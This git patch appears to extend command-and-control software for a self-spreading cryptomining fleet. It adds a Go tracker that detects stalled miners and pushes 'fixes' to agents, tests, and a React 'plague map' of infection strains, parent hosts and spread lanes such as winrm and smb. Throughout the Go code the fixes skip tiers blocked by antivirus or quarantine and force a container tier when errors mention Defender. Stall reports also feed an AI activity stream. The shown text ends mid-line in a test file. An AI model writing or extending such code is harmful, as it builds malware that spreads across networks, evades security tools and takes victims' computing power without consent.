From 0935756e5f8e528319095c480897d20c6049b430 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 09:20:30 -0700 Subject: [PATCH] Fleet topology epidemiology: strain plague map, interrupt fixes, tests. --- agent/client/epidemiology_fix.go | 59 +++ agent/client/epidemiology_fix_test.go | 37 ++ server/internal/api/epidemiology_bridge.go | 74 ++++ server/internal/api/epidemiology_test.go | 61 +++ server/internal/epidemiology/tracker.go | 301 +++++++++++++ server/internal/epidemiology/tracker_test.go | 156 +++++++ .../components/Visual/3D/FleetTopologyMap.tsx | 255 ++++++++---- server/web/src/components/components.test.tsx | 21 +- .../help/fleetTopologyEpidemiology.test.ts | 182 ++++++++ .../web/src/help/fleetTopologyEpidemiology.ts | 394 ++++++++++++++++++ 10 files changed, 1451 insertions(+), 89 deletions(-) create mode 100644 agent/client/epidemiology_fix.go create mode 100644 agent/client/epidemiology_fix_test.go create mode 100644 server/internal/api/epidemiology_bridge.go create mode 100644 server/internal/api/epidemiology_test.go create mode 100644 server/internal/epidemiology/tracker.go create mode 100644 server/internal/epidemiology/tracker_test.go create mode 100644 server/web/src/help/fleetTopologyEpidemiology.test.ts create mode 100644 server/web/src/help/fleetTopologyEpidemiology.ts diff --git a/agent/client/epidemiology_fix.go b/agent/client/epidemiology_fix.go new file mode 100644 index 0000000..fb08105 --- /dev/null +++ b/agent/client/epidemiology_fix.go @@ -0,0 +1,59 @@ +package client + +import ( + "context" + "encoding/json" + "log" + + "crypto-miner-agent/miner" +) + +// EpidemiologyFix is a server-pushed surgical correction after a broken mining branch. +type EpidemiologyFix struct { + AgentID string `json:"agent_id"` + Reason string `json:"reason"` + SkipTiers []string `json:"skip_tiers,omitempty"` + ForceTier string `json:"force_tier,omitempty"` + RestartChain bool `json:"restart_chain,omitempty"` + ErasureLanes bool `json:"erasure_lanes,omitempty"` +} + +func (c *AgentClient) applyEpidemiologyFixJSON(raw json.RawMessage) { + if len(raw) == 0 || string(raw) == "null" { + return + } + var fix EpidemiologyFix + if err := json.Unmarshal(raw, &fix); err != nil { + return + } + c.mu.Lock() + policy := c.tierPolicy + if len(fix.SkipTiers) > 0 { + have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers)) + for _, t := range policy.SkipTiers { + have[t] = true + } + for _, s := range fix.SkipTiers { + tier := miner.LOTLTier(s) + if tier == "" || have[tier] { + continue + } + have[tier] = true + policy.SkipTiers = append(policy.SkipTiers, tier) + } + } + if fix.ForceTier != "" { + policy.ForceTier = miner.LOTLTier(fix.ForceTier) + } + c.tierPolicy = policy + if fix.ErasureLanes { + c.cfg.ErasureLanesEnabled = true + } + restart := fix.RestartChain + c.mu.Unlock() + + log.Printf("[agent] epidemiology fix applied: %s", fix.Reason) + if restart && c.miningChain != nil { + c.miningChain.Restart(context.Background()) + } +} diff --git a/agent/client/epidemiology_fix_test.go b/agent/client/epidemiology_fix_test.go new file mode 100644 index 0000000..63e9de3 --- /dev/null +++ b/agent/client/epidemiology_fix_test.go @@ -0,0 +1,37 @@ +package client + +import ( + "encoding/json" + "testing" + + "crypto-miner-agent/miner" +) + +func TestApplyEpidemiologyFixSkipsFailedTiers(t *testing.T) { + c := &AgentClient{} + raw, _ := json.Marshal(EpidemiologyFix{ + AgentID: "a1", + Reason: "broken branch", + SkipTiers: []string{"exe_subprocess", "wsl"}, + }) + c.applyEpidemiologyFixJSON(raw) + policy := c.miningTierPolicy() + if len(policy.SkipTiers) != 2 { + t.Fatalf("skip tiers=%v", policy.SkipTiers) + } + if policy.SkipTiers[0] != miner.LOTLTier("exe_subprocess") { + t.Fatalf("first skip=%v", policy.SkipTiers[0]) + } +} + +func TestApplyEpidemiologyFixForceTier(t *testing.T) { + c := &AgentClient{} + raw, _ := json.Marshal(EpidemiologyFix{ + ForceTier: "container", + }) + c.applyEpidemiologyFixJSON(raw) + policy := c.miningTierPolicy() + if policy.ForceTier != miner.TierContainer { + t.Fatalf("force tier=%v", policy.ForceTier) + } +} diff --git a/server/internal/api/epidemiology_bridge.go b/server/internal/api/epidemiology_bridge.go new file mode 100644 index 0000000..c805109 --- /dev/null +++ b/server/internal/api/epidemiology_bridge.go @@ -0,0 +1,74 @@ +package api + +import ( + "time" + + "crypto-miner-server/internal/epidemiology" +) + +func (h *WSHub) epidemiologyTracker() *epidemiology.Tracker { + if h == nil { + return nil + } + return h.epidemiology +} + +// SetEpidemiologyReporter wires AI + Seer broadcast callbacks for mining interrupts. +func (h *WSHub) SetEpidemiologyReporter(r epidemiology.Reporter) { + if h == nil || h.epidemiology == nil { + return + } + h.epidemiology.SetReporter(r) +} + +func (h *WSHub) observeEpidemiologyFromStats(agentID string, in epidemiology.StatsInput) { + tr := h.epidemiologyTracker() + if tr == nil { + return + } + tr.ObserveStats(agentID, in) +} + +func (h *WSHub) attachEpidemiologyFix(resp map[string]interface{}, agentID string) { + tr := h.epidemiologyTracker() + if tr == nil { + return + } + fix, ok := tr.ConsumeFix(agentID) + if !ok { + return + } + resp["epidemiology_fix"] = fix +} + +func (h *WSHub) broadcastSeerEvent(ev epidemiology.SeerEvent) { + h.broadcastDashboard(Message{Type: "seer_event", Payload: mustMarshal(ev)}) +} + +func (h *WSHub) recordMiningInterruptAI(agentID, reasoning string) { + if h.aiHandler == nil { + return + } + entry := AIActivityEntry{ + AgentID: agentID, + LastAction: "mining_interrupt", + LastReasoning: truncateStr(reasoning, 240), + LastReportAt: time.Now(), + } + h.aiHandler.recordActivity(entry) +} + +// WireDefaultEpidemiologyReporter connects mining-interrupt telemetry to AI + Seer streams. +func (h *WSHub) WireDefaultEpidemiologyReporter() { + if h == nil { + return + } + h.SetEpidemiologyReporter(epidemiology.Reporter{ + OnAI: func(agentID, action, reasoning string) { + h.recordMiningInterruptAI(agentID, reasoning) + }, + OnSeer: func(ev epidemiology.SeerEvent) { + h.broadcastSeerEvent(ev) + }, + }) +} diff --git a/server/internal/api/epidemiology_test.go b/server/internal/api/epidemiology_test.go new file mode 100644 index 0000000..dbff07f --- /dev/null +++ b/server/internal/api/epidemiology_test.go @@ -0,0 +1,61 @@ +package api + +import ( + "encoding/json" + "testing" + + "crypto-miner-server/internal/epidemiology" +) + +func TestEpidemiologyAuthFixOneShot(t *testing.T) { + hub := NewWSHub(nil) + hub.WireDefaultEpidemiologyReporter() + + hub.observeEpidemiologyFromStats("agent-fix", epidemiology.StatsInput{ + ChainExhausted: true, + SpreadStrain: "#aabbcc", + FailedMethods: []epidemiology.MethodFailure{ + {Method: "exe_subprocess", Reason: "blocked"}, + }, + }) + + resp := map[string]interface{}{} + hub.attachEpidemiologyFix(resp, "agent-fix") + if _, ok := resp["epidemiology_fix"]; !ok { + t.Fatal("expected epidemiology_fix on auth pass") + } + raw, _ := json.Marshal(resp["epidemiology_fix"]) + var fix epidemiology.AgentFix + if err := json.Unmarshal(raw, &fix); err != nil { + t.Fatal(err) + } + if fix.AgentID != "agent-fix" || !fix.RestartChain { + t.Fatalf("fix=%+v", fix) + } + + resp2 := map[string]interface{}{} + hub.attachEpidemiologyFix(resp2, "agent-fix") + if _, ok := resp2["epidemiology_fix"]; ok { + t.Fatal("fix should be consumed after first auth pass") + } +} + +func TestEpidemiologySeerEventBroadcast(t *testing.T) { + hub := NewWSHub(nil) + var seerKind string + hub.SetEpidemiologyReporter(epidemiology.Reporter{ + OnSeer: func(ev epidemiology.SeerEvent) { + seerKind = ev.Kind + hub.broadcastSeerEvent(ev) + }, + }) + hub.observeEpidemiologyFromStats("seer-agent", epidemiology.StatsInput{ + ChainExhausted: true, + FailedMethods: []epidemiology.MethodFailure{ + {Method: "container", Reason: "no runtime"}, + }, + }) + if seerKind != "mining_interrupt" { + t.Fatalf("seer kind=%q", seerKind) + } +} diff --git a/server/internal/epidemiology/tracker.go b/server/internal/epidemiology/tracker.go new file mode 100644 index 0000000..8a011b6 --- /dev/null +++ b/server/internal/epidemiology/tracker.go @@ -0,0 +1,301 @@ +package epidemiology + +import ( + "crypto/sha256" + "encoding/json" + "fmt" + "strings" + "sync" + "time" +) + +// MiningInterruptState is the exact mining stall snapshot reported to AI + Seer. +type MiningInterruptState struct { + AgentID string `json:"agent_id"` + SpreadStrain string `json:"spread_strain"` + JoinLane string `json:"join_lane,omitempty"` + SpreadGeneration int `json:"spread_generation,omitempty"` + ParentAgentID string `json:"parent_agent_id,omitempty"` + ActiveMethod string `json:"active_method,omitempty"` + ChainExhausted bool `json:"chain_exhausted,omitempty"` + FailedMethods []MethodFailure `json:"failed_methods,omitempty"` + LastError string `json:"last_error,omitempty"` + LOTLTier string `json:"lotl_tier,omitempty"` + MiningHashrate float64 `json:"mining_hashrate"` + LOTLAttempts []TierAttempt `json:"lotl_attempts,omitempty"` + ReportedAt string `json:"reported_at"` +} + +type MethodFailure struct { + Method string `json:"method"` + Reason string `json:"reason"` + At string `json:"at"` +} + +type TierAttempt struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` +} + +// AgentFix is a minimal surgical correction pushed on the agent's next auth pass. +type AgentFix struct { + AgentID string `json:"agent_id"` + Reason string `json:"reason"` + SkipTiers []string `json:"skip_tiers,omitempty"` + ForceTier string `json:"force_tier,omitempty"` + RestartChain bool `json:"restart_chain,omitempty"` + ErasureLanes bool `json:"erasure_lanes,omitempty"` +} + +// SeerEvent is a read-only transcript row for the Seer page stream. +type SeerEvent struct { + Kind string `json:"kind"` + AgentID string `json:"agent_id"` + Payload json.RawMessage `json:"payload"` + Timestamp string `json:"timestamp"` +} + +// StatsInput mirrors the WS stats_update fields used for interruption detection. +type StatsInput struct { + FleetRole string + ActiveMethod string + MiningHashrate float64 + Hashrate15m float64 + GPUHashrate15m float64 + GPUMinerActive bool + ChainExhausted bool + MiningLastError string + FailedMethods []MethodFailure + LOTLTier string + LOTLAttempts []TierAttempt + JoinLane string + ParentAgentID string + SpreadGeneration int + SpreadStrain string +} + +// Reporter callbacks for AI activity + Seer stream. +type Reporter struct { + OnAI func(agentID, action, reasoning string) + OnSeer func(event SeerEvent) +} + +// Tracker observes stats, records interrupts, and queues per-agent fixes. +type Tracker struct { + mu sync.Mutex + pendingFix map[string]AgentFix + lastState map[string]MiningInterruptState + seerEvents []SeerEvent + reporter Reporter +} + +func NewTracker() *Tracker { + return &Tracker{ + pendingFix: make(map[string]AgentFix), + lastState: make(map[string]MiningInterruptState), + seerEvents: make([]SeerEvent, 0, 64), + } +} + +func (t *Tracker) SetReporter(r Reporter) { + if t == nil { + return + } + t.mu.Lock() + t.reporter = r + t.mu.Unlock() +} + +// ObserveStats detects mining interruption and queues a fix for the next auth pass. +func (t *Tracker) ObserveStats(agentID string, stats StatsInput) { + if t == nil || agentID == "" { + return + } + state := DetectInterruption(agentID, stats) + if state == nil { + return + } + fix := ComposeFix(*state) + t.mu.Lock() + prev, seen := t.lastState[agentID] + if seen && statesEqual(prev, *state) { + t.mu.Unlock() + return + } + t.lastState[agentID] = *state + t.pendingFix[agentID] = fix + reporter := t.reporter + t.mu.Unlock() + + t.emitReports(*state, fix, reporter) +} + +// ConsumeFix returns and clears a pending fix for the agent's next auth handshake. +func (t *Tracker) ConsumeFix(agentID string) (AgentFix, bool) { + if t == nil || agentID == "" { + return AgentFix{}, false + } + t.mu.Lock() + defer t.mu.Unlock() + fix, ok := t.pendingFix[agentID] + if ok { + delete(t.pendingFix, agentID) + } + return fix, ok +} + +// LastInterrupt returns the latest interrupt snapshot for an agent. +func (t *Tracker) LastInterrupt(agentID string) (MiningInterruptState, bool) { + if t == nil { + return MiningInterruptState{}, false + } + t.mu.Lock() + defer t.mu.Unlock() + s, ok := t.lastState[agentID] + return s, ok +} + +// RecentSeerEvents returns the tail of Seer transcript events. +func (t *Tracker) RecentSeerEvents(limit int) []SeerEvent { + if t == nil || limit <= 0 { + return nil + } + t.mu.Lock() + defer t.mu.Unlock() + if len(t.seerEvents) <= limit { + out := make([]SeerEvent, len(t.seerEvents)) + copy(out, t.seerEvents) + return out + } + out := make([]SeerEvent, limit) + copy(out, t.seerEvents[len(t.seerEvents)-limit:]) + return out +} + +func (t *Tracker) emitReports(state MiningInterruptState, fix AgentFix, reporter Reporter) { + raw, _ := json.Marshal(state) + event := SeerEvent{ + Kind: "mining_interrupt", + AgentID: state.AgentID, + Payload: raw, + Timestamp: state.ReportedAt, + } + if t != nil { + t.mu.Lock() + t.seerEvents = append(t.seerEvents, event) + if len(t.seerEvents) > 500 { + t.seerEvents = t.seerEvents[len(t.seerEvents)-500:] + } + t.mu.Unlock() + } + if reporter.OnSeer != nil { + reporter.OnSeer(event) + } + if reporter.OnAI != nil { + reporter.OnAI(state.AgentID, "mining_interrupt", string(raw)) + } +} + +func statesEqual(a, b MiningInterruptState) bool { + ab, _ := json.Marshal(a) + bb, _ := json.Marshal(b) + return string(ab) == string(bb) +} + +// DetectInterruption returns a snapshot when an online agent is not continuously mining. +func DetectInterruption(agentID string, stats StatsInput) *MiningInterruptState { + if strings.TrimSpace(stats.FleetRole) == "seeder" { + return nil + } + hr := stats.MiningHashrate + if hr <= 0 { + hr = stats.Hashrate15m + } + if hr <= 0 { + hr = stats.GPUHashrate15m + } + hashing := hr > 0 && (stats.ActiveMethod != "" || stats.GPUMinerActive) + if hashing { + return nil + } + if !stats.ChainExhausted && len(stats.FailedMethods) == 0 && + stats.MiningLastError == "" && !hasFailedLOTL(stats.LOTLAttempts) { + return nil + } + strain := strings.TrimSpace(stats.SpreadStrain) + if strain == "" { + strain = spreadStrainFromJoinLane(stats.JoinLane) + } + return &MiningInterruptState{ + AgentID: agentID, + SpreadStrain: strain, + JoinLane: strings.TrimSpace(stats.JoinLane), + SpreadGeneration: stats.SpreadGeneration, + ParentAgentID: strings.TrimSpace(stats.ParentAgentID), + ActiveMethod: strings.TrimSpace(stats.ActiveMethod), + ChainExhausted: stats.ChainExhausted, + FailedMethods: append([]MethodFailure(nil), stats.FailedMethods...), + LastError: strings.TrimSpace(stats.MiningLastError), + LOTLTier: strings.TrimSpace(stats.LOTLTier), + MiningHashrate: hr, + LOTLAttempts: append([]TierAttempt(nil), stats.LOTLAttempts...), + ReportedAt: time.Now().UTC().Format(time.RFC3339), + } +} + +func hasFailedLOTL(attempts []TierAttempt) bool { + for _, a := range attempts { + if !a.OK { + return true + } + } + return false +} + +// ComposeFix builds a minimal agent-specific correction from the interrupt state. +func ComposeFix(state MiningInterruptState) AgentFix { + fix := AgentFix{ + AgentID: state.AgentID, + Reason: "epidemiology: broken branch — avoid re-traversing failed mining path", + } + seen := make(map[string]bool) + for _, f := range state.FailedMethods { + tier := strings.TrimSpace(f.Method) + if tier == "" || seen[tier] { + continue + } + seen[tier] = true + fix.SkipTiers = append(fix.SkipTiers, tier) + } + for _, a := range state.LOTLAttempts { + if a.OK { + continue + } + tier := strings.TrimSpace(a.Tier) + if tier == "" || seen[tier] { + continue + } + seen[tier] = true + fix.SkipTiers = append(fix.SkipTiers, tier) + } + if state.ChainExhausted { + fix.RestartChain = true + } + if state.LastError != "" && strings.Contains(strings.ToLower(state.LastError), "defender") { + fix.ForceTier = "container" + } + if len(fix.SkipTiers) == 0 && state.LOTLTier != "" { + fix.SkipTiers = []string{state.LOTLTier} + } + return fix +} + +func spreadStrainFromJoinLane(lane string) string { + lane = strings.TrimSpace(strings.ToLower(lane)) + if lane == "" { + return "#334455" + } + sum := sha256.Sum256([]byte("aetherforge-strain:" + lane)) + return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2]) +} diff --git a/server/internal/epidemiology/tracker_test.go b/server/internal/epidemiology/tracker_test.go new file mode 100644 index 0000000..cd9ac4b --- /dev/null +++ b/server/internal/epidemiology/tracker_test.go @@ -0,0 +1,156 @@ +package epidemiology + +import ( + "encoding/json" + "sync" + "testing" +) + +func TestDetectInterruptionContinuousMiningNil(t *testing.T) { + if got := DetectInterruption("a1", StatsInput{ + ActiveMethod: "container", + MiningHashrate: 120, + }); got != nil { + t.Fatalf("continuous mining should not interrupt: %+v", got) + } +} + +func TestDetectInterruptionChainExhausted(t *testing.T) { + got := DetectInterruption("stuck", StatsInput{ + ChainExhausted: true, + SpreadStrain: "#aabbcc", + JoinLane: "winrm", + FailedMethods: []MethodFailure{{ + Method: "exe_subprocess", + Reason: "AV blocked", + At: "2026-06-07T00:00:00Z", + }}, + }) + if got == nil { + t.Fatal("expected interrupt state") + } + if got.SpreadStrain != "#aabbcc" { + t.Fatalf("strain=%q", got.SpreadStrain) + } + if got.AgentID != "stuck" { + t.Fatalf("agent=%q", got.AgentID) + } +} + +func TestComposeFixSkipsFailedBranches(t *testing.T) { + fix := ComposeFix(MiningInterruptState{ + AgentID: "a1", + ChainExhausted: true, + FailedMethods: []MethodFailure{ + {Method: "exe_subprocess", Reason: "blocked"}, + }, + LOTLAttempts: []TierAttempt{ + {Tier: "container", OK: false, Error: "no docker"}, + }, + }) + if !fix.RestartChain { + t.Fatal("chain exhausted should restart") + } + if len(fix.SkipTiers) < 2 { + t.Fatalf("skip tiers=%v", fix.SkipTiers) + } +} + +func TestTrackerObserveAndConsumeFix(t *testing.T) { + tr := NewTracker() + var aiCalls int + var seerCalls int + tr.SetReporter(Reporter{ + OnAI: func(agentID, action, reasoning string) { + aiCalls++ + if agentID != "agent-x" || action != "mining_interrupt" { + t.Fatalf("ai callback: %s %s", agentID, action) + } + if reasoning == "" { + t.Fatal("expected reasoning payload") + } + }, + OnSeer: func(event SeerEvent) { + seerCalls++ + if event.Kind != "mining_interrupt" { + t.Fatalf("kind=%s", event.Kind) + } + }, + }) + + tr.ObserveStats("agent-x", StatsInput{ + ChainExhausted: true, + SpreadStrain: "#112233", + FailedMethods: []MethodFailure{{Method: "wsl", Reason: "missing"}}, + }) + if aiCalls != 1 || seerCalls != 1 { + t.Fatalf("reports ai=%d seer=%d", aiCalls, seerCalls) + } + + fix, ok := tr.ConsumeFix("agent-x") + if !ok || fix.AgentID != "agent-x" { + t.Fatalf("consume fix: ok=%v fix=%+v", ok, fix) + } + if _, again := tr.ConsumeFix("agent-x"); again { + t.Fatal("fix should be one-shot on auth pass") + } + + events := tr.RecentSeerEvents(5) + if len(events) != 1 { + t.Fatalf("seer events=%d", len(events)) + } + var decoded MiningInterruptState + if err := json.Unmarshal(events[0].Payload, &decoded); err != nil { + t.Fatal(err) + } + if decoded.SpreadStrain != "#112233" { + t.Fatalf("payload strain=%q", decoded.SpreadStrain) + } +} + +func TestTrackerDedupesIdenticalInterrupt(t *testing.T) { + tr := NewTracker() + var calls int + tr.SetReporter(Reporter{ + OnAI: func(_, _, _ string) { + calls++ + }, + }) + stats := StatsInput{ + ChainExhausted: true, + SpreadStrain: "#ff00aa", + FailedMethods: []MethodFailure{{Method: "gpu_subprocess", Reason: "quarantine"}}, + } + tr.ObserveStats("dup", stats) + tr.ObserveStats("dup", stats) + if calls != 1 { + t.Fatalf("deduped calls=%d want 1", calls) + } +} + +func TestSpreadStrainFromJoinLaneParity(t *testing.T) { + got := spreadStrainFromJoinLane("winrm") + if got != "#ab88e4" { + t.Fatalf("winrm strain=%q want #ab88e4", got) + } +} + +func TestTrackerConcurrentObserve(t *testing.T) { + tr := NewTracker() + var wg sync.WaitGroup + for i := 0; i < 20; i++ { + wg.Add(1) + go func(n int) { + defer wg.Done() + id := "agent-" + string(rune('a'+n%26)) + tr.ObserveStats(id, StatsInput{ + ChainExhausted: true, + FailedMethods: []MethodFailure{{Method: "container", Reason: "fail"}}, + }) + }(i) + } + wg.Wait() + if len(tr.pendingFix) == 0 { + t.Fatal("expected pending fixes") + } +} diff --git a/server/web/src/components/Visual/3D/FleetTopologyMap.tsx b/server/web/src/components/Visual/3D/FleetTopologyMap.tsx index c4fb5ed..a0f8bd4 100644 --- a/server/web/src/components/Visual/3D/FleetTopologyMap.tsx +++ b/server/web/src/components/Visual/3D/FleetTopologyMap.tsx @@ -3,138 +3,217 @@ import { OrbitControls, Stars, Line, Sphere } from '@react-three/drei'; import { useMemo, useRef } from 'react'; import * as THREE from 'three'; import { Agent } from '../../../types'; +import { + buildEpidemiologyGraph, + layoutStrainNodes, + nodeEmissiveIntensity, + nodeWireOpacity, + type StrainEdge, + type StrainNode, +} from '../../../help/fleetTopologyEpidemiology'; -function LaserPulse({ start, end, color }: { start: [number, number, number], end: [number, number, number], color: string }) { +function PlaguePulse({ + start, + end, + color, + speed = 1.8, +}: { + start: [number, number, number]; + end: [number, number, number]; + color: string; + speed?: number; +}) { const meshRef = useRef(null); useFrame((state) => { if (meshRef.current) { - // Move pulse from start to end - const t = (state.clock.elapsedTime * 2) % 1; + const t = (state.clock.elapsedTime * speed) % 1; meshRef.current.position.set( start[0] + (end[0] - start[0]) * t, start[1] + (end[1] - start[1]) * t, - start[2] + (end[2] - start[2]) * t + start[2] + (end[2] - start[2]) * t, ); } }); return ( - + ); } -const STALE_THRESHOLD_MS = 5 * 60 * 1000; -/** Cap 3D nodes to keep WebGL performant on large fleets. */ -const TOPOLOGY_NODE_CAP = 200; - -function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [number, number, number], serverPos: [number, number, number] }) { - const isOnline = agent.status === 'online'; - const isHashing = agent.hashrate_15m > 0; - const color = isOnline ? (isHashing ? '#00e8f5' : '#00aa55') : '#ff4444'; +function StrainNodeMesh({ + node, + position, + onGoalPath, +}: { + node: StrainNode; + position: [number, number, number]; + onGoalPath: boolean; +}) { const pulseRef = useRef(null); - const ringRef = useRef(null); - - // Stale = online status but last_seen older than 5 min (silently dead) - const isStale = isOnline && !!agent.last_seen && - (Date.now() - new Date(agent.last_seen).getTime()) > STALE_THRESHOLD_MS; + const isSuccess = node.branchStatus === 'success' || node.miningContinuity === 'continuous'; + const isFailed = node.branchStatus === 'failed' || node.miningContinuity === 'interrupted'; + const baseColor = node.color; + const emissive = isFailed ? '#331111' : baseColor; + const intensity = onGoalPath ? nodeEmissiveIntensity(node) * 1.4 : nodeEmissiveIntensity(node); + const radius = 0.35 + Math.min(node.hostCount, 12) * 0.04; + const opacity = nodeWireOpacity(node); useFrame((state) => { - if (isOnline && pulseRef.current) { - const scale = 1 + Math.sin(state.clock.elapsedTime * (isHashing ? 5 : 1)) * 0.15 * (isHashing ? 1 : 0.5); - pulseRef.current.scale.set(scale, scale, scale); - if (isHashing) { - pulseRef.current.rotation.y += 0.05; - pulseRef.current.rotation.x += 0.05; - } - } - // Slowly spin the staleness warning ring - if (isStale && ringRef.current) { - ringRef.current.rotation.z += 0.01; - ringRef.current.rotation.x = Math.sin(state.clock.elapsedTime * 0.5) * 0.3; - } + if (!pulseRef.current) return; + const pulse = isSuccess + ? 1 + Math.sin(state.clock.elapsedTime * 3) * 0.18 + : isFailed + ? 1 + Math.sin(state.clock.elapsedTime * 0.6) * 0.04 + : 1; + pulseRef.current.scale.set(pulse, pulse, pulse); + if (isSuccess) pulseRef.current.rotation.y += 0.02; }); return ( - - + + - - {/* Staleness warning ring — amber halo for online-but-silent nodes */} - {isStale && ( - - - + {onGoalPath && node.miningContinuity === 'continuous' && ( + + + )} + + ); +} - {/* Connection Line */} - - - {/* Laser Pulse simulating hashing packets */} - {isOnline && isHashing && !isStale && ( - +function StrainEdgeLine({ + edge, + positions, +}: { + edge: StrainEdge; + positions: Map; +}) { + const start = positions.get(edge.sourceStrain); + const end = positions.get(edge.targetStrain); + if (!start || !end) return null; + + const failed = edge.branchStatus === 'failed'; + const success = edge.weight > 0; + const color = edge.onGoalPath ? '#39ff14' : failed ? '#442222' : '#b24bf3'; + const lineWidth = edge.onGoalPath ? 2.5 : Math.min(4, 0.8 + edge.weight * 0.35); + const opacity = failed && !success ? 0.15 : edge.onGoalPath ? 0.9 : 0.55; + + return ( + + + {success && !failed && ( + )} ); } export default function FleetTopologyMap({ agents }: { agents: Agent[] }) { - const serverPos: [number, number, number] = [0, 0, 0]; - const displayAgents = useMemo(() => { - if (agents.length <= TOPOLOGY_NODE_CAP) return agents; - const online = agents.filter((a) => a.status === 'online'); - const pool = online.length >= TOPOLOGY_NODE_CAP ? online : agents; - return pool.slice(0, TOPOLOGY_NODE_CAP); - }, [agents]); - const capped = agents.length > TOPOLOGY_NODE_CAP; + const graph = useMemo(() => buildEpidemiologyGraph(agents), [agents]); + const layouts = useMemo(() => layoutStrainNodes(graph.nodes), [graph.nodes]); + const positionMap = useMemo(() => { + const map = new Map(); + for (const layout of layouts) { + map.set(layout.strainId, layout.position); + } + return map; + }, [layouts]); + const goalSet = useMemo(() => new Set(graph.goalPath), [graph.goalPath]); - const agentNodes = useMemo(() => { - return displayAgents.map((agent, i) => { - const goldenRatio = (1 + Math.sqrt(5)) / 2; - const angle = i * Math.PI * 2 * goldenRatio; - // Distribute in a spherical/cylindrical rough cluster - const radius = 4 + Math.random() * 3 + (i * 0.05); - const x = Math.cos(angle) * radius; - const z = Math.sin(angle) * radius; - const y = (Math.random() - 0.5) * 6; - return { agent, position: [x, y, z] as [number, number, number] }; - }); - }, [displayAgents]); + const plagueEdges = graph.edges.filter((e) => e.weight > 0).length; + const continuousStrains = graph.nodes.filter((n) => n.miningContinuity === 'continuous').length; + const interrupted = graph.interrupted.length; return ( -
-
- - 3D_MESH_TOPOLOGY // {displayAgents.filter(a => a.status === 'online').length} NODES LINKED - {capped && ` (showing ${TOPOLOGY_NODE_CAP}/${agents.length})`} +
+
+ + STRAIN_EPIDEMIOLOGY // {graph.nodes.length} STRAINS · {plagueEdges} PLAGUE_EDGES + {graph.goalPath.length > 0 && ` · GOAL_PATH ${graph.goalPath.length}`} + {continuousStrains > 0 && ` · ${continuousStrains} MINING`} + {interrupted > 0 && ` · ${interrupted} INTERRUPTED`} +
+
+ glow = successful branch · dim = failed tree · pulses = spread weight (no cures)
- - - - - {/* Server Node (Mothership) */} - - - - - - - - + + + + - {/* Agent Nodes */} - {agentNodes.map((node) => ( - + {graph.nodes.map((node) => { + const pos = positionMap.get(node.id); + if (!pos) return null; + return ( + + ); + })} + + {graph.edges.map((edge) => ( + ))} - +
); -} \ No newline at end of file +} diff --git a/server/web/src/components/components.test.tsx b/server/web/src/components/components.test.tsx index 4c37a81..dfe5a49 100644 --- a/server/web/src/components/components.test.tsx +++ b/server/web/src/components/components.test.tsx @@ -854,9 +854,28 @@ describe('SystemStatusBar', () => { describe('FleetTopologyMap', () => { afterEach(() => cleanup()); - it('renders canvas wrapper for agents', () => { + it('renders strain epidemiology canvas for agents', () => { render(); expect(screen.getByTestId('three-canvas')).toBeInTheDocument(); + expect(screen.getByTestId('fleet-epidemiology-map')).toBeInTheDocument(); + expect(screen.getByText(/STRAIN_EPIDEMIOLOGY/)).toBeInTheDocument(); + }); + + it('shows plague edge count for spread genealogy', () => { + const parent = mockAgent({ + id: 'parent-1', + spread_strain: '#aabbcc', + spread_generation: 0, + }); + const child = mockAgent({ + id: 'child-1', + spread_strain: '#ddeeff', + parent_agent_id: 'parent-1', + join_lane: 'winrm', + spread_generation: 1, + }); + render(); + expect(screen.getByText(/PLAGUE_EDGES/)).toBeInTheDocument(); }); }); diff --git a/server/web/src/help/fleetTopologyEpidemiology.test.ts b/server/web/src/help/fleetTopologyEpidemiology.test.ts new file mode 100644 index 0000000..1b20ce8 --- /dev/null +++ b/server/web/src/help/fleetTopologyEpidemiology.test.ts @@ -0,0 +1,182 @@ +import { describe, it, expect } from 'vitest'; +import type { Agent } from '../types'; +import { + spreadStrainFromJoinLane, + resolveAgentStrain, + miningContinuity, + buildEpidemiologyGraph, + buildMiningInterruptState, + computeGoalPath, + layoutStrainNodes, +} from './fleetTopologyEpidemiology'; + +function mkAgent(overrides: Partial & { id: string }): Agent { + return { + name: overrides.id, + wallet: '4' + 'A'.repeat(94), + ip: '10.0.0.1', + version: '1.0.0', + status: 'online', + cpu_cores: 4, + memory_gb: 8, + last_seen: new Date().toISOString(), + created_at: new Date().toISOString(), + hashrate_15s: 0, + hashrate_1m: 0, + hashrate_15m: 0, + shares_total: 0, + shares_good: 0, + shares_bad: 0, + cpu_usage_pct: 0, + memory_usage_pct: 0, + uptime_seconds: 0, + ...overrides, + } as Agent; +} + +describe('spreadStrainFromJoinLane', () => { + it('matches Go genealogy color for winrm', () => { + expect(spreadStrainFromJoinLane('winrm')).toBe('#ab88e4'); + }); + + it('returns empty for blank lane', () => { + expect(spreadStrainFromJoinLane('')).toBe(''); + }); +}); + +describe('buildEpidemiologyGraph', () => { + it('aggregates hosts into strain nodes not per-agent nodes', () => { + const strain = '#aabbcc'; + const graph = buildEpidemiologyGraph([ + mkAgent({ id: 'a1', spread_strain: strain, join_lane: 'winrm' }), + mkAgent({ id: 'a2', spread_strain: strain, join_lane: 'winrm' }), + mkAgent({ id: 'a3', spread_strain: '#112233', join_lane: 'smb' }), + ]); + expect(graph.nodes).toHaveLength(2); + const winrm = graph.nodes.find((n) => n.id === strain); + expect(winrm?.hostCount).toBe(2); + }); + + it('weights edges by successful parent spreads only', () => { + const parentStrain = '#parent'; + const childStrain = '#child'; + const graph = buildEpidemiologyGraph([ + mkAgent({ id: 'parent', spread_strain: parentStrain, spread_generation: 0 }), + mkAgent({ + id: 'child-ok', + spread_strain: childStrain, + parent_agent_id: 'parent', + join_lane: 'winrm', + spread_generation: 1, + }), + mkAgent({ + id: 'child-fail', + spread_strain: childStrain, + parent_agent_id: 'parent', + status: 'offline', + spread_generation: 1, + }), + ]); + const edge = graph.edges.find((e) => e.sourceStrain === parentStrain && e.targetStrain === childStrain); + expect(edge?.weight).toBe(1); + expect(edge?.failedWeight).toBe(1); + expect(edge?.branchStatus).toBe('mixed'); + }); + + it('does not emit cure edges — only spread propagation', () => { + const graph = buildEpidemiologyGraph([ + mkAgent({ id: 'a1', spread_strain: '#aa0000' }), + mkAgent({ id: 'a2', spread_strain: '#00aa00', status: 'offline' }), + ]); + for (const e of 